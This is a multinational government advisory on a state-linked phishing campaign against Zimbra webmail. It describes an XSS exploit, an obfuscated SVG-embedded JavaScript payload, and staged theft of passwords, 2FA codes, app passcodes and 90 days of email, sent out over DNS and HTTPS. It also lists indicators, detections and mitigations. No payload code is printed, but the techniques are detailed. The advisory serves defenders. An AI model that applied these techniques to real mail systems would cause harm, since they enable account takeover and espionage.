To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [T1566]. Through exploitation of CVE-2025-66376, this JavaScript payload is immediately executed once the user views the malicious email [T1203], such as the one shown in Figure 1, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [T1199], as shown in the email metadata in Figure 2. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.

Figure 1: Example of malicious email

Figure 2: Headers from an example malicious email

According to the National Vulnerability Database (NVD), CVE-2025-66376 was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [5]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [T1587.004].

Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.

Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [T1027.017], as shown in Figure 3. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage CVE-2025-66376. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see Figure 3) [T1027.013]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [T1027.010], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [T1119]. The stages in order of appearance within the payload are as follows:

sendStartPing,
gather_email,
gather_environment,
gather_2fa_codes,
gather_app_password,
gather_device_status,
gather_oauth_consumers,
gather_autocomplete_password,
enable_mail_protocols,
gather_gal,
sendArchives, and
sendFinishPing.

Figure 3: Malicious payload of example email

Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [T1587].

Persistence and credential access

To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the Exfiltration section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [T1550.004], and the Zimbra campaign follows a similar trend.

The script used in this campaign tries to discover the victim’s email address during the gather_email stage [T1087]. The script searches for this email address in two ways. First, it examines the batchInfoResponse variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the Collection section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [T1185] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of null over HTTPS and does not attempt DNS exfiltration.

During the gather_autocomplete_password stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in Figure 4 and Figure 5. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in Figure 4. If there is no value in that input field, it checks the password input field shown in Figure 5. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of null is sent over HTTPS and DNS exfiltration is not attempted.

Figure 4: First illegitimate login HTML element

Figure 5: Second illegitimate login HTML element

LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the enable_mail_protocols stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.

ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the gather_app_password stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [T1556.006]. The SOAP request uses “ZimbraWeb” as the name of the application.

Additionally, the script also attempts to collect 2FA tokens. During the gather_2fa_codes stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.

Collection

As demonstrated in the Persistence and credential access section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the Persistence and credential access section, other SOAP commands executed to collect victim information are shown in Table 1.

**Table 1: Additional SOAP commands used**
SOAP Command	Namespace	Stage
GetInfoRequest	zimbraAccount	gather_environment
GetDeviceStatusRequest	zimbraSync	gather_device_status
GetOAuthConsumersRequest	zimbraAccount	gather_oauth_consumers
SearchGalRequest	zimbraAccount	gather_gal

The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.

During the gather_environment stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in Table 2) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.

**Table 2: ZCS webmail client types**
Indicator	Client Type	Associated Value
?client=advanced	Advanced	c
/h/	Standard	h
/modern/	Modern	m

As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&meta=0&query=date:-{DAY_OFFSET}d AND (not in:junk)”. The {DAY_OFFSET} value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of zd_comp_YYYY-MM-DD, and value of true, is saved to the window.top.localStorage property. This variable is saved regardless of whether the email is successfully exfiltrated.

According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a {DAY_OFFSET} of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the Exfiltration section.

The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the Exfiltration section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of gather_gal:{VAL}:api. The {VAL} placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder {DAY_OFFSET}, with a format of sendArchive:day-{DAY_OFFSET}.

Exfiltration

At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [T1048.003] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.

Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.

DNS exfiltration

DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, Ulej maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in Figure 6. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.

Figure 6: Structure for information exfiltrated by DNS

When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. Table 3 lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.

**Table 3: DNS exfiltration**
Type of Information	Exfiltration Stage	Data Type
Victim’s Email Address	gather_email	e
Client Type	gather_environment	c
Zimbra Version	gather_environment	v
URL at Time of Exploitation	gather_environment	url
2FA Scratch Codes	gather_2fa_codes	2fa
Newly Created Application Password	gather_app_password	pa
Harvested Autocomplete Password	gather_autocomplete_password	pw

HTTPS exfiltration

Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in Table 4. Traffic associated with HTTPS exfiltration will use the URL scheme shown in Figure 7.

**Table 4: HTTPS exfiltration types**
Content Type	URL Path
application/json	/v/p
application/octet-stream	/v/d

Figure 7: Structure for information exfiltrated by HTTPS

Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.

Table 5 provides a summary of the JSON-based exfiltration.

**Table 5: HTTPS JSON exfiltration**
Type of Information	Exfiltration Stage	JSON Key(s)
Victim’s Email Address	gather_email	email
Client Type, Version, and Current URL	gather_environment	client, version, full_url
Newly Created Application Password	gather_app_password	app_password
Harvested Autocomplete Password	gather_autocomplete_password	autocomplete_password

The script transmits all HTTPS exfiltration not identified in Table 5 using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. Table 6 summarizes the data exfiltrated in this format.

**Table 6: HTTPS binary exfiltration**
Type of Information	Exfiltration Stage	X-Filename Header
SOAP request for GetInfoRequest	gather_environment	zimbra_batch_analytics.json
SOAP request for GetScratchCodesRequest	gather_2fa_codes	zimbra_batch_analytics.json
SOAP request for GetDeviceStatusRequest	gather_device_status	zimbra_batch_analytics.json
SOAP request for GetOAuthConsumersRequest	gather_oauth_consumers	zimbra_batch_analytics.json
Victim Organization’s Global Address List	gather_gal	telemetry_{1-20}.json
Last 90 Days of Victim’s Emails	sendArchives	telemetryData_{0-89}.json

The script sends all exfiltrated data identified in Table 6 to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [T1560]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in Table 6 using the application/octet-stream content typing rather than application/json.

At the beginning and end of the collection and exfiltration activity, during the sendStartPing and sendFinishPing stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in Figure 2, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (start, finish, or error).

Catcher

Ulej exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the Resource development section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.

Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the Resource development section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.

The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.

However, if a query includes a domain formatted as shown in Figure 6 and Figure 7, the service saves a log file in JSON format to disk containing the following details of the DNS query:

Time of query,
Source IP address for query,
Queried domain, and
Type of query.

The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in Figure 6 and Figure 7. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:

Time,
Source IP address,
Request method,
Host,
Path,
Query string,
Headers, and
Base64 payload.

These JSON event log files and binary output files are then initially saved to the directory /root/hits/tmp and later moved to the /root/hits/ready directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in Figure 8 also executes hourly to remove all files last modified at least two days ago from the /root/hits/ready directory.

Figure 8: Command used for automated directory cleanup

Response strategies

Mitigations

In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.

All organizations that use the ZCS webmail service should immediately prioritize ensuring that their ZCS is not running a vulnerable version. A patch for CVE-2025-66376 was released for both 10.1.13 and 10.0.18 versions of ZCS [D3-AH]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [d3f:Isolate].

System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [D3-AH]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including CISA’s Known Exploited Vulnerabilities Catalog and NCSC-UK’s Responding to active exploitation of vulnerabilities guidance.

Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [D3-CH]. However, Application Passcodes may still be necessary and should be monitored closely.

Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [CPG 3.Q]. This will allow organizations to monitor for and identify suspicious network activity [CPG 4.B], such as:

Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [D3-NTA];
Frequent DNS queries for a suspicious domain with seemingly random subdomains [D3-DNSTA];
A sudden spike of connections to a server associated with a recently established domain [D3-NTCD]; and
Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [D3-NTCD].

Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the Exfiltration section of this advisory.

Indicators of compromise (IOCs)

Flowerbed infrastructure

The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (Disclaimer: Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) Table 7 provides details about the server infrastructure used to host Flowerbed, and Table 8 lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [D3-IAA].

**Table 7: Flowerbed server infrastructure**
Domain	IP Address	First Seen	Last Seen
zmailanalytics[.]com	216.252.238[.]104	8 July 2025	15 October 2025
zimbra-metadata[.]com	216.252.238[.]18	20 August 2025	14 October 2025
analyticemailmeter[.]com	37.120.247[.]228	24 September 2025	18 March 2026
emailanalytics.com[.]ua	185.86.79[.]95	24 September 2025	18 March 2026
mailnalysis[.]com	104.248.134[.]194	11 November 2025	17 February 2026
zimbrastat[.]com	64.226.124[.]190	18 December 2025	18 March 2026
zimbrasoft.com[.]ua	193.238.152[.]66	20 January 2026	18 March 2026
synacorzimbra[.]nl	216.252.238[.]64	3 February 2026	30 March 2026
istc-cloud[.]com	194.156.103[.]193	5 February 2026	30 March 2026

**Table 8: Flowerbed X.509 certificate SHA-1 hashes**
Associated Domain	X.509 SHA-1 Hash	First Seen	Last Seen
zmailanalytics[.]com	2e4f314bc9943cab5005d6fde0b271c74d47bc9d	8 Jul 2025	6 Aug 2025
*.i.zmailanalytics[.]com	50a87d926621dd06389ba50d86e0ff574ed713a8	6 Aug 2025	13 Oct 2025
*.i.zimbra-metadata[.]com	c5a72420e7bb308d078e62128430897f82194c95	20 Aug 2025	14 Oct 2025
*.i.analyticemailmeter[.]com	8959c4d29e29f02ea94ea8bb21c8df2594c5549d	24 Sep 2025	8 Nov 2025
*.i.emailanalytics.com[.]ua	62eb76432597694edb01c1fe57aab0cfe03a7178	25 Sep 2025	27 Sep 2025
*.i.mailnalysis[.]com	cddf5c3be1e07f28140aed165b929bf2d614922a	12 Nov 2025	17 Dec 2025
*.i.zimbrastat[.]com	18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8	18 Dec 2025	28 Dec 2025
*.i.zimbrasoft.com[.]ua	1b25041ececf2457eef0270fc1d785cec8ec9ded	21 Jan 2026	10 Feb 2026
*.i.synacorzimbra[.]nl	e4fe6466a4f9a4249fe330651e914e45bbdca44a	5 Feb 2026	22 Mar 2026
*.i.istc-cloud[.]com	b6b77c9a455225d525834a403ca9ef5481ed0447	12 Feb 2026	30 Mar 2026

LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:

ivanka.zurabishvili@proton[.]me,
zmul1@buildandconsulting[.]com,
garrysmithme@pinmx[.]net, and
hostingclient@pinmx[.]net.

Phishing distribution

LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.

The following email addresses have distributed payloads attributed to this campaign:

c.laurent.ejfa@proton[.]me,
j.moreau.epsc@proton[.]me,
liberty.insights@proton[.]me,
certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and
certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).

Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:

98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,
60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,
b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and
1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.

Post-compromise artifacts

Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.

This Ulej capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the /opt/zimbra/log/mailbox.log file [D3-PA]. A significant amount of SOAP request activity that aligns with what was described in the Persistence and credential access and Collection sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:

Many SearchGalRequest command requests from a single user over a short period of time;
Use of the CreateAppSpecificPasswordRequest command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and
Use of the GetScratchCodesRequest command.

While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [D3-PA]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of zd_comp_YYYY-MM-DD, as explained in the Collection section of this advisory.

While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”

In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [D3-MA]. If an email that has a payload exploiting CVE-2025-66376 is discovered, steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.

Remediation

In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to CVE-2025-66376.

Organizations should use identifiers from the IOCs section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.

All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [CPG 3.B] and creating unique credentials [CPG 3.C], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.

Works cited

[1] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf

[2] Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/

[3] Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. https://unit42.paloaltonetworks.com/russian-webmail-espionage/

[4] Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit

[5] Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/

Footnotes

¹ Národní úřad pro kybernetickou a informační bezpečnost
²Forsvarets Efterretningstjeneste
³Välisluureamet
⁴ Sotilastiedustelu
⁵ Suojelupoliisi
⁶ Direction générale de la sécurité intérieure
⁷ Agence nationale de la sécurité des systèmes d’information
⁸ Agenzia Informazioni e Sicurezza Esterna
⁹ Agenzia Informazioni e Sicurezza Interna
¹⁰ Serviciul de Informații și Securitate al Republicii Moldova
¹¹Agencja Wywiadu
¹²Służba Kontrwywiadu Wojskowego
¹³Centro Nacional de Inteligencia
¹⁴Nationellt Cybersäkerhetscenter
¹⁵ MITRE and ATT&CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.

Acknowledgements

The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.

Disclaimer of endorsement

The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.

Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.

Purpose

This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.

Contact

United States organizations

National Security Agency
Cybersecurity Report Feedback: CybersecurityReports@nsa.gov
Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov
Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov
Cybersecurity and Infrastructure Security Agency
CISA’s 24/7 Operations Center (contact@cisa.dhs.gov), or by calling 1-844-Say-CISA (1-844-729-2472).
Federal Bureau of Investigation
If you or someone you know has fallen victim to this campaign, file a complaint with IC3.
Defense Counterintelligence and Security Agency
DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: DCSA.CI.CyberOps@mail.mil
Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117.
Media/Public Inquiries: dcsa.quantico.dcsa-hq.mbx.pa@mail.mil
Department of Defense Cyber Crime Center
Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil
Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at https://dibnet.dod.mil
Media Inquiries / Press Desk: DC3.Information@us.af.mil
Naval Criminal Investigative Service
To report criminal activity impacting the United States Navy, go to www.ncis.navy.mil and click “Submit a Tip”

Dutch organizations

Defence Intelligence and Security Service (MIVD): https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid
General Intelligence and Security Service (AIVD): https://www.aivd.nl

Australian organizations

Australian Signals Directorate
Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.

Canadian organizations

The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.
Report an incident or suspicious activity to the Cyber Centre by email at contact@cyber.gc.ca, online via the reporting tool Report a cyber incident - Canadian Centre for Cyber Security or by phone at 1-833-CYBER-88 (1-833-292-3788).

New Zealand organizations

New Zealand National Cyber Security Centre (NCSC-NZ): info@ncsc.govt.nz

United Kingdom organizations

Report significant cyber security incidents to ncsc.gov.uk/report-an-incident (monitored 24/7)

Estonia organizations

Estonian Foreign Intelligence Service (EFIS): info@valisluureamet.ee

Finnish organizations

Finnish Security and Intelligence Service: supo.fi/en/contact

French organizations

French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: cert-fr@ssi.gouv.fr or by phone at: 3218 or +33 9 70 83 32 18.

Italian Organizations

Italian External Intelligence and Security Agency (AISE):
Visit https://www.sicurezzanazionale.gov.it/
Italian Internal Intelligence and Security Agency (AISI):
Visit https://www.sicurezzanazionale.gov.it/

Moldovan organizations

Security and Intelligence Service of the Republic of Moldova (SIS RM): cybersec@sis.md

Polish organizations

Polish Foreign Intelligence Agency (AW): ctiteam@aw.gov.pl

Appendix A: MITRE ATT&CK tactics and techniques

See Table 9 through Table 19 for all the threat actor tactics and techniques referenced in this advisory.

**Table 9: Reconnaissance**
Technique Title	ID	Use
Gather Victim Identity Information: Credentials	T1589.001	The payload attempts to intercept a victim’s password from their password manager.
Gather Victim Identity Information: Email Addresses	T1589.002	The payload attempts to grab the victim’s email address from various data stores.
Search Open Websites/Domains	T1593	This group likely leverages public information to support target development.
Active Scanning	T1595	Port scanning can be used by this group to assist with determining exploitability of identified targets.
Search Open Technical Databases: Scan Databases	T1596.005	Various public datasets can provide information to support discovery of exploitable targets.
Search Closed Sources	T1597	Previously exfiltrated data can be used to enhance target development efforts.
Search Closed Sources: Purchase Technical Data	T1597.002	Commercial datasets can also be used to support target development efforts.

**Table 10: Resource Development**
Technique Title	ID	Use
Acquire Infrastructure	T1583	This group used Mullvad VPN to anonymize traffic sent to operational infrastructure.
Acquire Infrastructure: Virtual Private Server	T1583.003	This group procured VPS servers from a variety of vendors.
Develop Capabilities	T1587	The Ulej capability was developed likely for use by this group to conduct spear phishing campaigns.
Develop Capabilities: Malware	T1587.001	Development of a novel payload that steals a victim’s emails and other sensitive account information.
Develop Capabilities: Exploits	T1587.004	Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript.
Obtain Capabilities: Tool	T1588.002	Open source tools, such as Evilginx2, have also been used by the group.
Obtain Capabilities: Artificial Intelligence	T1588.007	The group appears to have leveraged AI to support development efforts.
Stage Capabilities	T1608	Flowerbed is deployed to a procured server in the cloud.

**Table 11: Initial Access**
Technique Title	ID	Use
Valid Accounts	T1078	This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.
Trusted Relationship	T1199	The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.
Phishing	T1566	The actors used spear phishing to lure users into opening malicious email.

**Table 12: Execution**
Technique Title	ID	Use
Exploitation for Client Execution	T1203	An XSS vulnerability was leveraged to execute the JavaScript payload.

**Table 13: Persistence**
Technique Title	ID	Use
Account Manipulation	T1098	Enabling IMAP and Application Passcodes provides persistent access to the compromised account.
Modify Authentication Process: Multi-Factor Authentication	T1556.006	Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token.

**Table 14: Privilege Escalation**
Technique Title	ID	Use
Valid Accounts	T1078	This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.

**Table 15: Stealth**
Technique Title	ID	Use
Obfuscated Files or Information: Command Obfuscation	T1027.010	Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability.
Obfuscated Files or Information: Encrypted/Encoded File	T1027.013	The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload.
Obfuscated Files or Information: SVG Smuggling	T1027.017	The payload was contained in an “onload” attribute within an SVG image included in the malicious email.
